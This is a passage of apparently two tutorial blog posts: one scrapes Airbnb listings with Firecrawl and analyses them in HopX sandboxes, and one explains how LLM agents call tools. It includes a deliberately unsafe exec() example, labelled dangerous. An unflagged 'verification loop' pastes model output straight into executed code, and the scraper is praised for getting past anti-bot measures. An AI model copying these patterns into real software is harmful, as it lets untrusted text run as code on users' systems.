df["bedrooms_clean"] = df["bedrooms"].apply(extract_bedrooms)
# Feature engineering
df["price_per_bedroom"] = df.apply(
lambda x: x["price_clean"] / x["bedrooms_clean"]
if x["bedrooms_clean"] and x["bedrooms_clean"] > 0
else None,
axis=1
)
df["is_highly_rated"] = df["rating_clean"] >= 4.8
df["is_popular"] = df["reviews_clean"] >= 50
# Calculate value score (lower price + higher rating = better value)
df["value_score"] = df.apply(
lambda x: (x["rating_clean"] or 0) / (x["price_clean"] or 1) * 100
if x["price_clean"] and x["price_clean"] > 0
else 0,
axis=1
)
# Summary statistics
summary = {
"total_listings": len(df),
"avg_price": df["price_clean"].mean(),
"avg_rating": df["rating_clean"].mean(),
"price_by_location": df.groupby("location")["price_clean"].mean().to_dict(),
"rating_by_location": df.groupby("location")["rating_clean"].mean().to_dict(),
"top_value_listings": df.nlargest(5, "value_score")[
["title", "location", "price_clean", "rating_clean", "value_score"]
].to_dict("records")
}
# Save processed data
df.to_csv("/app/processed_listings.csv", index=False)
# Output summary
print(json.dumps(summary, indent=2, default=str))
'''
# Execute processing
result = sandbox.runCode(processing_code, language="python", timeout=60)
if result.exitCode != 0:
raise Exception(f"Processing failed: {result.stderr}")
# Parse summary from stdout
summary = json.loads(result.stdout)
# Download processed CSV
processed_csv = sandbox.files.read("/app/processed_listings.csv")
return {
"summary": summary,
"processed_data": processed_csv
}
finally:
sandbox.kill()
# Process the scraped data
results = process_listings_in_sandbox(all_listings)
print(json.dumps(results["summary"], indent=2))
```
## Step 3: Advanced Analysis with Visualization
Generate insights and visualizations:
```python
from hopx import Sandbox
import json
import base64
def analyze_and_visualize(processed_csv: str) -> dict:
"""Run advanced analysis and create visualizations."""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Upload processed data
sandbox.files.write("/app/listings.csv", processed_csv)
analysis_code = '''
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import json
# Set style
plt.style.use("seaborn-v0_8-whitegrid")
sns.set_palette("husl")
# Load data
df = pd.read_csv("/app/listings.csv")
# Create figure with subplots
fig, axes = plt.subplots(2, 2, figsize=(14, 10))
# 1. Price distribution by location
ax1 = axes[0, 0]
df.boxplot(column="price_clean", by="location", ax=ax1)
ax1.set_title("Price Distribution by Location")
ax1.set_xlabel("Location")
ax1.set_ylabel("Price per Night ($)")
plt.suptitle("")
# 2. Rating vs Price scatter
ax2 = axes[0, 1]
for location in df["location"].unique():
loc_data = df[df["location"] == location]
ax2.scatter(
loc_data["price_clean"],
loc_data["rating_clean"],
label=location,
alpha=0.6
)
ax2.set_xlabel("Price per Night ($)")
ax2.set_ylabel("Rating")
ax2.set_title("Price vs Rating by Location")
ax2.legend()
# 3. Average price by bedrooms
ax3 = axes[1, 0]
bedroom_prices = df.groupby("bedrooms_clean")["price_clean"].mean().dropna()
bedroom_prices.plot(kind="bar", ax=ax3, color="steelblue")
ax3.set_title("Average Price by Bedroom Count")
ax3.set_xlabel("Bedrooms")
ax3.set_ylabel("Average Price ($)")
ax3.tick_params(axis="x", rotation=0)
# 4. Value score distribution
ax4 = axes[1, 1]
df["value_score"].hist(bins=20, ax=ax4, color="coral", edgecolor="black")
ax4.set_title("Value Score Distribution")
ax4.set_xlabel("Value Score")
ax4.set_ylabel("Count")
ax4.axvline(df["value_score"].median(), color="red", linestyle="--", label="Median")
ax4.legend()
plt.tight_layout()
plt.savefig("/app/analysis.png", dpi=150, bbox_inches="tight")
plt.close()
# Statistical analysis
analysis = {
"correlation_price_rating": df["price_clean"].corr(df["rating_clean"]),
"price_stats": {
"mean": df["price_clean"].mean(),
"median": df["price_clean"].median(),
"std": df["price_clean"].std(),
"min": df["price_clean"].min(),
"max": df["price_clean"].max()
},
"rating_stats": {
"mean": df["rating_clean"].mean(),
"median": df["rating_clean"].median(),
"std": df["rating_clean"].std()
},
"best_value_by_location": df.loc[
df.groupby("location")["value_score"].idxmax()
][["location", "title", "price_clean", "rating_clean", "value_score"]].to_dict("records"),
"listings_above_4_5_rating": len(df[df["rating_clean"] >= 4.5]),
"listings_under_100": len(df[df["price_clean"] < 100])
}
print(json.dumps(analysis, indent=2, default=str))
'''
result = sandbox.runCode(analysis_code, language="python", timeout=120)
if result.exitCode != 0:
raise Exception(f"Analysis failed: {result.stderr}")
analysis = json.loads(result.stdout)
# Download visualization
chart_bytes = sandbox.files.read("/app/analysis.png")
chart_b64 = base64.b64encode(chart_bytes).decode()
return {
"analysis": analysis,
"chart_base64": chart_b64
}
finally:
sandbox.kill()
# Run analysis
viz_results = analyze_and_visualize(results["processed_data"])
print(json.dumps(viz_results["analysis"], indent=2))
# Save chart locally
import base64
with open("airbnb_analysis.png", "wb") as f:
f.write(base64.b64decode(viz_results["chart_base64"]))
print("Chart saved to airbnb_analysis.png")
```
## Step 4: Feature Engineering Pipeline
For machine learning tasks, create a reusable feature engineering pipeline:
```python
from hopx import Sandbox
import json
def create_ml_features(listings_csv: str) -> str:
"""Create ML-ready features from listing data."""
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/listings.csv", listings_csv)
feature_code = '''
import pandas as pd
import numpy as np
from sklearn.preprocessing import LabelEncoder, StandardScaler
import json
df = pd.read_csv("/app/listings.csv")
# ============================================
# Feature Engineering
# ============================================
# 1. Location encoding
le_location = LabelEncoder()
df["location_encoded"] = le_location.fit_transform(df["location"])
# 2. Property type encoding (if exists)
if "property_type" in df.columns:
le_property = LabelEncoder()
df["property_type_encoded"] = le_property.fit_transform(
df["property_type"].fillna("Unknown")
)
# 3. Amenities features (count and specific flags)
if "amenities" in df.columns:
# Parse amenities if stored as string
def parse_amenities(x):
if pd.isna(x):
return []
if isinstance(x, str):
try:
return json.loads(x.replace("'", '"'))
except:
return x.split(",")
return x
df["amenities_parsed"] = df["amenities"].apply(parse_amenities)
df["amenity_count"] = df["amenities_parsed"].apply(len)
# Flag specific high-value amenities
high_value_amenities = ["wifi", "pool", "parking", "kitchen", "washer", "ac", "air conditioning"]
for amenity in high_value_amenities:
df[f"has_{amenity.replace(' ', '_')}"] = df["amenities_parsed"].apply(
lambda x: any(amenity.lower() in str(a).lower() for a in x) if x else False
).astype(int)
# 4. Price features
df["price_log"] = np.log1p(df["price_clean"])
df["price_squared"] = df["price_clean"] ** 2
# Price relative to location average
location_avg_price = df.groupby("location")["price_clean"].transform("mean")
df["price_vs_location_avg"] = df["price_clean"] / location_avg_price
# 5. Rating features
df["rating_missing"] = df["rating_clean"].isna().astype(int)
df["rating_filled"] = df["rating_clean"].fillna(df["rating_clean"].median())
# High performer flags
df["is_superhost_quality"] = (
(df["rating_clean"] >= 4.8) &
(df["reviews_clean"] >= 10)
).astype(int)
# 6. Review features
df["reviews_log"] = np.log1p(df["reviews_clean"])
df["has_reviews"] = (df["reviews_clean"] > 0).astype(int)
# Reviews relative to location
location_avg_reviews = df.groupby("location")["reviews_clean"].transform("mean")
df["reviews_vs_location_avg"] = df["reviews_clean"] / (location_avg_reviews + 1)
# 7. Bedroom features
df["bedrooms_filled"] = df["bedrooms_clean"].fillna(1)
df["is_studio"] = (df["bedrooms_clean"] == 0).astype(int)
df["is_large"] = (df["bedrooms_clean"] >= 3).astype(int)
# 8. Interaction features
df["price_rating_interaction"] = df["price_clean"] * df["rating_filled"]
df["bedrooms_price_interaction"] = df["bedrooms_filled"] * df["price_clean"]
# 9. Normalized features
scaler = StandardScaler()
numeric_cols = ["price_clean", "rating_filled", "reviews_clean", "bedrooms_filled"]
for col in numeric_cols:
if col in df.columns:
df[f"{col}_normalized"] = scaler.fit_transform(df[[col]].fillna(0))
# Select final feature columns
feature_columns = [
"location_encoded",
"price_log", "price_squared", "price_vs_location_avg",
"rating_filled", "rating_missing",
"reviews_log", "has_reviews", "reviews_vs_location_avg",
"bedrooms_filled", "is_studio", "is_large",
"price_rating_interaction", "bedrooms_price_interaction",
"is_superhost_quality",
"amenity_count"
] + [col for col in df.columns if col.startswith("has_")]
# Keep only features that exist
feature_columns = [col for col in feature_columns if col in df.columns]
# Create feature matrix
features_df = df[feature_columns + ["title", "location", "price_clean"]]
# Save
features_df.to_csv("/app/ml_features.csv", index=False)
# Summary
summary = {
"total_features": len(feature_columns),
"feature_names": feature_columns,
"sample_size": len(features_df),
"missing_values": features_df[feature_columns].isna().sum().to_dict()
}
print(json.dumps(summary, indent=2))
'''
result = sandbox.runCode(feature_code, language="python", timeout=120)
if result.exitCode != 0:
raise Exception(f"Feature engineering failed: {result.stderr}")
print("Feature engineering complete:")
print(result.stdout)
# Return the feature CSV
return sandbox.files.read("/app/ml_features.csv")
finally:
sandbox.kill()
# Create ML features
ml_features = create_ml_features(results["processed_data"])
```
## Step 5: Complete Pipeline Class
Here's a production-ready pipeline class:
```python
from firecrawl import FirecrawlApp
from hopx import Sandbox
from typing import List, Dict, Optional
import json
import time
class AirbnbScrapingPipeline:
"""Complete pipeline for scraping and analyzing Airbnb data."""
def __init__(self, firecrawl_key: str, hopx_key: str):
self.firecrawl = FirecrawlApp(api_key=firecrawl_key)
self.hopx_key = hopx_key
self.sandbox: Optional[Sandbox] = None
def scrape_location(
self,
location: str,
checkin: str,
checkout: str,
max_pages: int = 1
) -> List[Dict]:
"""Scrape listings for a location."""
listings = []
for page in range(max_pages):
url = f"https://www.airbnb.com/s/{location}/homes"
params = f"?checkin={checkin}&checkout={checkout}"
if page > 0:
params += f"&items_offset={page * 20}"
try:
result = self.firecrawl.scrape_url(
url + params,
params={
"formats": ["extract"],
"extract": {
"schema": {
"type": "object",
"properties": {
"listings": {
"type": "array",
"items": {
"type": "object",
"properties": {
"title": {"type": "string"},
"price_per_night": {"type": "string"},
"rating": {"type": "string"},
"reviews_count": {"type": "string"},
"property_type": {"type": "string"},
"bedrooms": {"type": "string"},
"amenities": {
"type": "array",
"items": {"type": "string"}
}
}
}
}
}
}
},
"waitFor": 3000 # Wait for JS rendering
}
)
page_listings = result.get("extract", {}).get("listings", [])
for listing in page_listings:
listing["location"] = location
listing["scraped_at"] = time.strftime("%Y-%m-%d %H:%M:%S")
listings.extend(page_listings)
print(f" Page {page + 1}: {len(page_listings)} listings")
# Rate limiting
time.sleep(2)
except Exception as e:
print(f" Error on page {page + 1}: {e}")
continue
return listings
def get_sandbox(self) -> Sandbox:
"""Get or create persistent sandbox."""
if self.sandbox is None:
self.sandbox = Sandbox.create(
template="code-interpreter",
ttl=600 # 10 minute TTL
)
return self.sandbox
def process_data(self, raw_listings: List[Dict]) -> Dict:
"""Clean and process raw listings."""
sandbox = self.get_sandbox()
sandbox.files.write(
"/app/raw_data.json",
json.dumps(raw_listings)
)
code = '''
import pandas as pd
import json
import re
with open("/app/raw_data.json") as f:
data = json.load(f)
df = pd.DataFrame(data)
# Cleaning functions
def clean_price(x):
if not x: return None
m = re.search(r"[\d,]+", str(x).replace(",", ""))
return float(m.group()) if m else None
def clean_rating(x):
if not x: return None
m = re.search(r"(\d+\.?\d*)", str(x))
return float(m.group()) if m else None
def clean_int(x):
if not x: return None
m = re.search(r"(\d+)", str(x).replace(",", ""))
return int(m.group()) if m else None
# Apply cleaning
df["price"] = df["price_per_night"].apply(clean_price)
df["rating"] = df["rating"].apply(clean_rating)
df["reviews"] = df["reviews_count"].apply(clean_int)
df["bedrooms"] = df["bedrooms"].apply(clean_int)
# Derived features
df["value_score"] = df.apply(
lambda x: (x["rating"] or 0) / (x["price"] or 1) * 100
if x["price"] and x["price"] > 0 else 0,
axis=1
)
# Save processed
df.to_csv("/app/processed.csv", index=False)
# Stats
stats = {
"count": len(df),
"locations": df["location"].nunique(),
"avg_price": round(df["price"].mean(), 2),
"avg_rating": round(df["rating"].mean(), 2),
"price_range": [df["price"].min(), df["price"].max()]
}
print(json.dumps(stats))
'''
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode != 0:
raise Exception(f"Processing failed: {result.stderr}")
return json.loads(result.stdout)
def analyze(self) -> Dict:
"""Run analysis on processed data."""
sandbox = self.get_sandbox()
code = '''
import pandas as pd
import json
df = pd.read_csv("/app/processed.csv")
analysis = {
"by_location": df.groupby("location").agg({
"price": ["mean", "median", "count"],
"rating": "mean"
}).round(2).to_dict(),
"top_value": df.nlargest(10, "value_score")[
["title", "location", "price", "rating", "value_score"]
].to_dict("records"),
"price_segments": {
"budget": len(df[df["price"] < 100]),
"mid": len(df[(df["price"] >= 100) & (df["price"] < 250)]),
"premium": len(df[df["price"] >= 250])
},
"correlations": {
"price_rating": round(df["price"].corr(df["rating"]), 3),
"price_reviews": round(df["price"].corr(df["reviews"]), 3)
}
}
print(json.dumps(analysis, indent=2, default=str))
'''
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode != 0:
raise Exception(f"Analysis failed: {result.stderr}")
return json.loads(result.stdout)
def export_csv(self) -> str:
"""Export processed data as CSV."""
sandbox = self.get_sandbox()
return sandbox.files.read("/app/processed.csv")
def cleanup(self):
"""Destroy sandbox."""
if self.sandbox:
self.sandbox.kill()
self.sandbox = None
# Usage
if __name__ == "__main__":
import os
pipeline = AirbnbScrapingPipeline(
firecrawl_key=os.environ["FIRECRAWL_API_KEY"],
hopx_key=os.environ["HOPX_API_KEY"]
)
try:
# Scrape multiple locations
all_listings = []
for location in ["new-york", "los-angeles", "chicago"]:
print(f"Scraping {location}...")
listings = pipeline.scrape_location(
location,
checkin="2025-03-01",
checkout="2025-03-07"
)
all_listings.extend(listings)
print(f"\nTotal listings: {len(all_listings)}")
# Process
print("\nProcessing data...")
stats = pipeline.process_data(all_listings)
print(f"Stats: {stats}")
# Analyze
print("\nAnalyzing...")
analysis = pipeline.analyze()
print(json.dumps(analysis, indent=2))
# Export
csv_data = pipeline.export_csv()
with open("airbnb_listings.csv", "w") as f:
f.write(csv_data)
print("\nExported to airbnb_listings.csv")
finally:
pipeline.cleanup()
```
## Alternative: Using Crawl4AI
If you prefer open-source tools, Crawl4AI is a great alternative:
```python
from crawl4ai import AsyncWebCrawler
from hopx import Sandbox
import asyncio
import json
async def scrape_with_crawl4ai(urls: list) -> list:
"""Scrape URLs using Crawl4AI."""
results = []
async with AsyncWebCrawler(verbose=True) as crawler:
for url in urls:
result = await crawler.arun(
url=url,
extraction_strategy="LLMExtractionStrategy",
extraction_config={
"schema": {
"listings": [{
"title": "string",
"price": "string",
"rating": "string"
}]
}
}
)
if result.success:
results.append(result.extracted_content)
return results
# Run scraping
urls = [
"https://www.airbnb.com/s/new-york/homes",
"https://www.airbnb.com/s/miami/homes"
]
scraped = asyncio.run(scrape_with_crawl4ai(urls))
```
## Error Handling and Retry Logic
Production pipelines need robust error handling:
```python
import time
from typing import Callable, Any
def with_retry(
func: Callable,
max_retries: int = 3,
delay: float = 2.0,
backoff: float = 2.0
) -> Any:
"""Execute function with exponential backoff retry."""
last_error = None
current_delay = delay
for attempt in range(max_retries):
try:
return func()
except Exception as e:
last_error = e
print(f"Attempt {attempt + 1} failed: {e}")
if attempt < max_retries - 1:
print(f"Retrying in {current_delay}s...")
time.sleep(current_delay)
current_delay *= backoff
raise last_error
# Usage
result = with_retry(
lambda: firecrawl.scrape_url(url, params=params),
max_retries=3,
delay=2.0
)
```
## Best Practices
### 1. Respect Rate Limits
```python
import time
class RateLimiter:
def __init__(self, requests_per_minute: int):
self.min_interval = 60.0 / requests_per_minute
self.last_request = 0
def wait(self):
elapsed = time.time() - self.last_request
if elapsed < self.min_interval:
time.sleep(self.min_interval - elapsed)
self.last_request = time.time()
limiter = RateLimiter(requests_per_minute=10)
```
### 2. Cache Scraped Data
```python
import hashlib
import json
import os
def get_cached_or_scrape(url: str, scrape_func: Callable) -> dict:
"""Return cached data or scrape fresh."""
cache_key = hashlib.md5(url.encode()).hexdigest()
cache_file = f"/tmp/scrape_cache/{cache_key}.json"
if os.path.exists(cache_file):
with open(cache_file) as f:
return json.load(f)
data = scrape_func(url)
os.makedirs("/tmp/scrape_cache", exist_ok=True)
with open(cache_file, "w") as f:
json.dump(data, f)
return data
```
### 3. Validate Data Quality
```python
def validate_listings(listings: list) -> tuple:
"""Validate and filter listings."""
valid = []
invalid = []
for listing in listings:
# Must have title and price
if not listing.get("title") or not listing.get("price_per_night"):
invalid.append(listing)
continue
valid.append(listing)
print(f"Valid: {len(valid)}, Invalid: {len(invalid)}")
return valid, invalid
```
## Conclusion
Combining Firecrawl and HopX gives you a powerful, safe web scraping pipeline:
- **Firecrawl** handles the messy parts: JavaScript rendering, anti-bot measures, rate limits
- **HopX** provides secure, isolated environments for data processing
- **Together** they enable production-grade data pipelines without security risks
This pattern works for any scraping task—real estate, e-commerce, job listings, or any data you need to extract and analyze.
---
Ready to build your own data pipeline? [Get started with HopX](https://console.hopx.ai) for secure data processing.
## Further Reading
- [LangChain Tools with Secure Code Execution](/blog/tutorials/langchain-tools-secure-code-execution) — Build AI agents with safe tools
- [Feature Engineering in Sandboxes](/blog/tutorials/data-analysis-with-pandas-in-sandboxes) — More data processing patterns
- [Firecrawl Documentation](https://docs.firecrawl.dev/) — Official Firecrawl docs
- [Crawl4AI GitHub](https://github.com/unclecode/crawl4ai) — Open-source alternative
---
## Tool Use: How AI Agents Interact with the Real World
URL: https://hopx.ai/blog/ai-agents/tool-use-pattern-ai-agents/
Category: AI Agents
Published: 2025-11-26
# Tool Use: How AI Agents Interact with the Real World
An LLM without tools is like a brain without a body. It can think, reason, and generate text—but it can't *do* anything.
Tool use changes everything. Give an LLM access to tools, and suddenly it can search the web, query databases, execute code, send emails, and interact with any API. It transforms from a text generator into an autonomous agent.
This guide shows you how to implement tool use properly—from basic function calling to complex multi-tool orchestration.
## What Is Tool Use?
Tool use is a pattern where an LLM decides when and how to call external functions to accomplish a task:
```
┌─────────────────────────────────────────────────────────────┐
│ User Query │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ LLM │
│ │
│ "I need to check the weather. I'll use the weather tool" │
│ │
└─────────────────────────────────────────────────────────────┘
│
▼
┌───────────────────────────────┐
│ Tool Call: get_weather │
│ Args: {"city": "London"} │
└───────────────────────────────┘
│
▼
┌───────────────────────────────┐
│ Tool Result: "15°C, Cloudy" │
└───────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ LLM │
│ │
│ "The weather in London is 15°C and cloudy." │
│ │
└─────────────────────────────────────────────────────────────┘
```
The key insight: **the LLM doesn't execute tools directly**. It outputs a structured request (tool name + arguments), your code executes the tool, and you feed the result back to the LLM.
## Why Tools Matter
Without tools, LLMs are limited to:
- Knowledge frozen at training time
- No access to private data
- Can't take actions in the world
- Can only generate text
With tools, LLMs can:
- Access real-time information
- Query your databases
- Execute code and analyze data
- Send emails, create tickets, deploy code
- Integrate with any API
**Tools are what turn chat into action.**
## Basic Tool Implementation
### OpenAI Function Calling
Here's the standard pattern with OpenAI:
```python
import openai
import json
# Define tools
tools = [
{
"type": "function",
"function": {
"name": "get_weather",
"description": "Get current weather for a city",
"parameters": {
"type": "object",
"properties": {
"city": {
"type": "string",
"description": "City name, e.g., 'London'"
},
"units": {
"type": "string",
"enum": ["celsius", "fahrenheit"],
"description": "Temperature units"
}
},
"required": ["city"]
}
}
},
{
"type": "function",
"function": {
"name": "search_web",
"description": "Search the web for current information",
"parameters": {
"type": "object",
"properties": {
"query": {
"type": "string",
"description": "Search query"
}
},
"required": ["query"]
}
}
}
]
# Tool implementations
def get_weather(city: str, units: str = "celsius") -> str:
# In production, call a real weather API
return f"Weather in {city}: 15°C, Cloudy"
def search_web(query: str) -> str:
# In production, use a search API
return f"Search results for '{query}': ..."
tool_functions = {
"get_weather": get_weather,
"search_web": search_web
}
# Main loop
def run_agent(user_message: str) -> str:
client = openai.OpenAI()
messages = [{"role": "user", "content": user_message}]
while True:
response = client.chat.completions.create(
model="gpt-4o",
messages=messages,
tools=tools
)
message = response.choices[0].message
# Check if LLM wants to use tools
if message.tool_calls:
# Add assistant message with tool calls
messages.append(message)
# Execute each tool
for tool_call in message.tool_calls:
function_name = tool_call.function.name
arguments = json.loads(tool_call.function.arguments)
# Call the actual function
result = tool_functions[function_name](**arguments)
# Add tool result to messages
messages.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": result
})
else:
# No more tool calls, return final response
return message.content
# Usage
response = run_agent("What's the weather in Tokyo and London?")
print(response)
```
## Tool Design Principles
### 1. Clear, Specific Descriptions
The LLM decides which tool to use based on descriptions. Be precise:
```python
# ❌ Bad: Vague description
{
"name": "search",
"description": "Search for things"
}
# ✅ Good: Specific description
{
"name": "search_documentation",
"description": "Search the official product documentation for API references, tutorials, and guides. Use for technical questions about how to use our product."
}
```
### 2. Constrained Parameters
Use enums and clear types to prevent errors:
```python
# ❌ Bad: Open-ended parameter
{
"name": "priority",
"type": "string",
"description": "Task priority"
}
# ✅ Good: Constrained parameter
{
"name": "priority",
"type": "string",
"enum": ["low", "medium", "high", "critical"],
"description": "Task priority level"
}
```
### 3. Atomic Operations
Each tool should do one thing well:
```python
# ❌ Bad: Tool does too much
{
"name": "manage_user",
"description": "Create, update, delete, or fetch user"
}
# ✅ Good: Separate tools
{
"name": "create_user",
"description": "Create a new user account"
}
{
"name": "get_user",
"description": "Fetch user details by ID or email"
}
{
"name": "update_user",
"description": "Update user profile information"
}
```
### 4. Meaningful Return Values
Return structured, actionable data:
```python
# ❌ Bad: Just a status
def create_task(title: str) -> str:
# ... create task ...
return "Task created"
# ✅ Good: Return useful information
def create_task(title: str) -> str:
task = db.tasks.create(title=title)
return json.dumps({
"task_id": task.id,
"title": task.title,
"status": "created",
"url": f"https://app.example.com/tasks/{task.id}"
})
```
## Code Execution as a Tool
The most powerful tool you can give an LLM is the ability to execute code. But it's also the most dangerous.
### The Wrong Way (Never Do This)
```python
# ⚠️ DANGEROUS: Never execute LLM-generated code directly
def run_code(code: str) -> str:
exec(code) # This can delete files, exfiltrate data, anything
return "Done"
```
### The Right Way: Sandboxed Execution
```python
from hopx import Sandbox
def run_python_code(code: str) -> str:
"""Execute Python code in an isolated sandbox"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Write code to sandbox
sandbox.files.write("/app/script.py", code)
# Execute in isolation
result = sandbox.commands.run("python /app/script.py", timeout=30)
if result.exit_code == 0:
return result.stdout
else:
return f"Error: {result.stderr}"
finally:
sandbox.kill() # Destroy sandbox completely
# Define as a tool
code_execution_tool = {
"type": "function",
"function": {
"name": "run_python_code",
"description": "Execute Python code to perform calculations, data analysis, or any programmatic task. Use this when you need to compute something precisely.",
"parameters": {
"type": "object",
"properties": {
"code": {
"type": "string",
"description": "Python code to execute. Must be complete and runnable."
}
},
"required": ["code"]
}
}
}
```
The sandbox ensures:
- Code can't access your host filesystem
- Code can't make unauthorized network requests
- Code can't persist beyond the execution
- Resource limits prevent infinite loops
See [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) for more on security.
## Common Tool Categories
### Information Retrieval
```python
tools = [
{
"name": "search_web",
"description": "Search the internet for current information"
},
{
"name": "search_docs",
"description": "Search internal documentation and knowledge base"
},
{
"name": "get_url_content",
"description": "Fetch and read content from a specific URL"
},
{
"name": "query_database",
"description": "Run a read-only SQL query against the database"
}
]
```
### Data Operations
```python
tools = [
{
"name": "read_file",
"description": "Read contents of a file"
},
{
"name": "write_file",
"description": "Write content to a file"
},
{
"name": "analyze_csv",
"description": "Load and analyze a CSV file using pandas"
},
{
"name": "create_chart",
"description": "Generate a chart from data"
}
]
```
### Communication
```python
tools = [
{
"name": "send_email",
"description": "Send an email to specified recipients"
},
{
"name": "send_slack_message",
"description": "Post a message to a Slack channel"
},
{
"name": "create_ticket",
"description": "Create a support ticket in the ticketing system"
}
]
```
### Actions
```python
tools = [
{
"name": "run_python_code",
"description": "Execute Python code in a sandbox"
},
{
"name": "deploy_to_staging",
"description": "Deploy the current branch to staging environment"
},
{
"name": "run_tests",
"description": "Run the test suite and return results"
}
]
```
## Advanced: Multi-Tool Orchestration
Real agents often need to use multiple tools in sequence:
```python
import openai
import json
from hopx import Sandbox
class ToolOrchestrator:
def __init__(self):
self.client = openai.OpenAI()
self.tools = self._define_tools()
self.max_iterations = 10
def run(self, task: str) -> str:
messages = [
{"role": "system", "content": self._system_prompt()},
{"role": "user", "content": task}
]
for _ in range(self.max_iterations):
response = self.client.chat.completions.create(
model="gpt-4o",
messages=messages,
tools=self.tools
)
message = response.choices[0].message
if not message.tool_calls:
return message.content
messages.append(message)
# Execute all tool calls
for tool_call in message.tool_calls:
result = self._execute_tool(
tool_call.function.name,
json.loads(tool_call.function.arguments)
)
messages.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": result
})
return "Max iterations reached"
def _execute_tool(self, name: str, args: dict) -> str:
"""Route to appropriate tool implementation"""
if name == "search_web":
return self._search_web(args["query"])
elif name == "run_python":
return self._run_python(args["code"])
elif name == "read_file":
return self._read_file(args["path"])
elif name == "write_file":
return self._write_file(args["path"], args["content"])
else:
return f"Unknown tool: {name}"
def _run_python(self, code: str) -> str:
"""Execute Python in sandbox"""
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/code.py", code)
result = sandbox.commands.run("python /app/code.py", timeout=60)
output = result.stdout if result.exit_code == 0 else f"Error: {result.stderr}"
return output[:5000] # Truncate long outputs
finally:
sandbox.kill()
def _search_web(self, query: str) -> str:
# Implement with your preferred search API
return f"Search results for: {query}"
def _read_file(self, path: str) -> str:
sandbox = Sandbox.create(template="code-interpreter")
try:
content = sandbox.files.read(path)
return content[:10000]
except:
return f"File not found: {path}"
finally:
sandbox.kill()
def _write_file(self, path: str, content: str) -> str:
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write(path, content)
return f"Successfully wrote to {path}"
finally:
sandbox.kill()
def _define_tools(self) -> list:
return [
{
"type": "function",
"function": {
"name": "search_web",
"description": "Search the web for current information",
"parameters": {
"type": "object",
"properties": {
"query": {"type": "string", "description": "Search query"}
},
"required": ["query"]
}
}
},
{
"type": "function",
"function": {
"name": "run_python",
"description": "Execute Python code for calculations, data analysis, or any programmatic task",
"parameters": {
"type": "object",
"properties": {
"code": {"type": "string", "description": "Complete Python code to execute"}
},
"required": ["code"]
}
}
},
{
"type": "function",
"function": {
"name": "read_file",
"description": "Read the contents of a file",
"parameters": {
"type": "object",
"properties": {
"path": {"type": "string", "description": "Path to the file"}
},
"required": ["path"]
}
}
},
{
"type": "function",
"function": {
"name": "write_file",
"description": "Write content to a file",
"parameters": {
"type": "object",
"properties": {
"path": {"type": "string", "description": "Path to the file"},
"content": {"type": "string", "description": "Content to write"}
},
"required": ["path", "content"]
}
}
}
]
def _system_prompt(self) -> str:
return """You are a helpful AI assistant with access to tools.
Use tools when needed to complete tasks. You can:
- Search the web for current information
- Execute Python code for calculations and data analysis
- Read and write files
Think step by step. Use the most appropriate tool for each sub-task.
When you have enough information to answer, provide a clear response."""
# Usage
orchestrator = ToolOrchestrator()
result = orchestrator.run(
"Find the current Bitcoin price, calculate what 0.5 BTC would be worth, "
"and save the result to a file called 'btc_value.txt'"
)
print(result)
```
## Parallel Tool Execution
When tools are independent, run them in parallel:
```python
import asyncio
import openai
async def execute_tools_parallel(tool_calls: list) -> list:
"""Execute multiple tool calls concurrently"""
async def execute_single(tool_call):
name = tool_call.function.name
args = json.loads(tool_call.function.arguments)
# Run in thread pool to avoid blocking
loop = asyncio.get_event_loop()
result = await loop.run_in_executor(
None,
lambda: tool_functions[name](**args)
)
return {
"tool_call_id": tool_call.id,
"content": result
}
# Execute all tools concurrently
results = await asyncio.gather(*[
execute_single(tc) for tc in tool_calls
])
return results
# In the main loop
if message.tool_calls:
results = asyncio.run(execute_tools_parallel(message.tool_calls))
for result in results:
messages.append({"role": "tool", **result})
```
## Error Handling
Tools fail. Handle it gracefully:
```python
def execute_tool_safely(name: str, args: dict) -> str:
"""Execute a tool with proper error handling"""
try:
# Validate tool exists
if name not in tool_functions:
return json.dumps({
"error": f"Unknown tool: {name}",
"available_tools": list(tool_functions.keys())
})
# Execute with timeout
import signal
def timeout_handler(signum, frame):
raise TimeoutError("Tool execution timed out")
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(30) # 30 second timeout
try:
result = tool_functions[name](**args)
finally:
signal.alarm(0) # Cancel timeout
return result
except TimeoutError as e:
return json.dumps({
"error": "Tool execution timed out",
"tool": name,
"suggestion": "Try a simpler query or break into smaller steps"
})
except TypeError as e:
return json.dumps({
"error": f"Invalid arguments: {str(e)}",
"tool": name,
"received_args": args
})
except Exception as e:
return json.dumps({
"error": f"Tool execution failed: {str(e)}",
"tool": name,
"error_type": type(e).__name__
})
```
## Tool Use Patterns
### Pattern 1: Retrieval-Augmented Generation (RAG)
Search first, then answer:
```python
def rag_answer(question: str) -> str:
# Step 1: Search for relevant information
search_results = search_knowledge_base(question)
# Step 2: Generate answer using retrieved context
response = client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": f"Use this context to answer: {search_results}"},
{"role": "user", "content": question}
]
)
return response.choices[0].message.content
```
### Pattern 2: Verification Loop
Use tools to verify LLM outputs:
```python
def verified_answer(question: str) -> str:
# Generate initial answer
answer = generate_answer(question)
# Verify with tools
verification = run_python(f"""
# Verify the claim: {answer}
# Check against authoritative sources
result = verify_claim("{answer}")
print(result)
""")
if "verified" in verification.lower():
return answer
else:
# Regenerate with verification feedback
return generate_answer(f"{question}\n\nNote: {verification}")
```
### Pattern 3: Progressive Disclosure
Start with cheap tools, escalate as needed:
```python
def progressive_search(query: str) -> str:
# Level 1: Check cache (free, instant)
cached = check_cache(query)
if cached:
return cached
# Level 2: Search local docs (cheap, fast)
local = search_local_docs(query)
if is_sufficient(local):
return local
# Level 3: Search web (expensive, slow)
web = search_web(query)
cache_result(query, web)
return web
```
## Security Best Practices
### 1. Allowlist Tools Per Use Case
```python
